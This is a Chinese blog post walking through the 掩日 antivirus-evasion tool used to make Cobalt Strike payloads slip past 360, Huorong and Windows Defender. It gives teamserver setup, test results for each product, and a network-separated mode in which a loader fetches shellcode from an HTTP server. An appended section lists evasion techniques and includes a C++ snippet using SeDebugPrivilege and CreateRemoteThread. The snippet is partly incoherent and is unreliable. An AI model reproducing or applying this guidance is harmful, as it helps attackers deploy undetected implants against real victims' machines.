【新版】掩日免杀windows Defender

更新时间:2022.05.16
image.png

本文首发乌鸦安全知识星球

1. 介绍

掩日免杀是一个非常优秀的项目,目前在4月19号已经更新,更新的变动较大,支持的种类更多,在这里再试试现在的效果如何:
https://github.com/1y0n/av_evasion_tool/

image.png

下载之后本地打开:(记得关闭杀软)

image.png

2. 环境配置

安装环境:Windows10虚拟机
在这里新版本掩日采用了gcc环境和go环境,在作者的项目介绍中,对其都有要求,我们按照要求分别安装gccgo的环境:

gcc安装

gcc --version
image.png

go安装

go version
image.png

3. 环境

在作者的介绍中,针对Cobalt Strike生成的木马要求:
针对Cobalt Strike,不要选择生成Windows分阶段木马、Windows无阶段木马,而是生成payload,最终是一个payload.c文件。
因此在这里我们使用最常用的CS的木马来进行操作。

3.1 环境准备

在本地启动一个CS,服务端:
sudo ./teamserver 10.30.1.147 123
image.png
启用客户端,并新增监听,在这里使用作者建议的HTTPS方式:
image.png

然后生成一个payload.c文件:

image.png

3.2 测试环境

测试机:

  • Windows10 360主动防御
  • Windows7 火绒主动防御
  • Windows10 开启windows Defender

其中测试的杀软均升级到最新,并且关闭了自动上传样本的功能。

4. 免杀测试

4.1 通用免杀

在这里选择直接执行的方式,并且使用隐藏窗口的模式:
image.png

此时生成成功:

image.png

4.1.1 火绒(成功)

image.png
此时没有发现问题,上线测试:
image.png

4.1.2 360(成功)

关闭360的自动上传样本功能:
image.png

然后按位置扫描,没有发现问题:

image.png

上线测试下,此时上线正常:
image.png

4.1.3 Windows Defender(失败)

此时的 Windows Defender病毒库为最新版本:

image.png

静态测试

image.png

动态上线(被杀)

在上线之后,立刻被拦截查杀:
image.png

在这里可以发现,三个杀软中只有Windows Defender难过,因此针对它进一步进行测试:
在这里选择了加密方法,然后再去生成木马,但是发现过Windows Defender的时候,依旧被杀。
image.png

4.1.4 强力模式(成功)

在这里选择强力模式,作者对于强力模式的解释是拥有很好的免杀和反沙盒效果,但是耗时比较长,而且会消耗大量的CPU

image.png
image.png

此时静态查杀,依旧正常

image.png
动态上线正常:
image.png

4.2 分离免杀

在这里执行的时候,会生成两个文件,一个是不含shellcodeshellcode加载器,另外就是一个shellcode文件(可能经过了各种加密变形)。

image.png

此时生成了两个文件:
image.png
静态查杀正常:

image.png

动态加载:
动态加载的话,不是直接双击上线的,而是在命令行中,将exe加载,并且跟上分离文件的名称才可以:(此时没有杀软)

image.png

当有Windows Defender的时候:
image.png
直接被动态查杀,再试试其他的方式,发现全部被杀
image.png

4.3 网络分离

image.png
将生成的shellcode加载器放到目标机器上,并在目标机能访问到的机器上开启一个http服务:
python3 -m http.server 802
image.png
然后在远程进行加载:
dUu.exe http://10.30.1.147:802/dUu.txt
image.png
还是被Windows Defender杀了:

image.png

5. 总结

在整个掩日免杀项目中,可以看到功能比以前增加了很多,而且体验感变好,免杀能力也很强。
当然Windows Defender依旧是很难对抗的,很多情况下还是要看对方的环境是啥,不要一味地追求Bypass everyone

### 技术概述 是一种高级的反病毒技术,主要通过修改恶意程序的特征码来规避毒软件的静态和动态分析机制。这种技术的核心在于理解并绕过毒软件的检测逻辑[^1]。 #### 技术原理 通常依赖以下几个关键技术点: 1. **特征码混淆** 特征码是毒软件用于识别已知威胁的主要依据。通过对二进制代码进行加密、压缩或重新排列等方式,可以有效改变原有特征码,从而使毒软件无法匹配到已有的签名数据库。 2. **加壳与脱壳处理** 使用加壳工具对可执行文件进行保护,增加一层或多层封装,使得原始代码难以被直接解析。常见的加壳工具有UPX、PECompact等。然而需要注意的是,某些先进的毒引擎能够识别这些通用壳的存在,因此可能需要自定义开发专用壳。 3. **虚拟化环境检测规避** 许多现代毒产品会在沙盒环境中运行可疑样本以观察行为模式。为了防止此类检测,可以通过编写特定条件判断语句(如检查是否存在调试器、是否处于虚拟机状态),让恶意代码仅在真实目标环境下激活[^2]。 4. **API调用隐藏** 将敏感函数替换为间接调用形式或者利用反射加载DLL中的导出项,减少直接暴露危险操作的可能性。这种方法增加了逆向工程难度,同时也降低了触发启发式规则的概率。 #### 实现方法指导 以下是基于上述理论的一种简化版实践路径说明: ```c++ #include <windows.h> #include <iostream> int main() { // 示例:简单演示如何通过更改字符串常量位置避开固定特征扫描 char* command = reinterpret_cast<char*>(VirtualAlloc(NULL, sizeof("calc"), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)); memcpy(command, "calc", strlen("calc")); HANDLE hToken; TOKEN_PRIVILEGES tkp; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL); CreateRemoteThread(OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()), NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibraryA("kernel32.dll"), "WinExec"), command, 0, NULL); VirtualFree(command, 0, MEM_RELEASE); } ``` 此代码片段展示了基本概念验证过程的一部分——即如何动态分配内存存储命令参数而非硬编码于源文件之中,以此降低因明文出现而导致轻易被捕获的风险。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值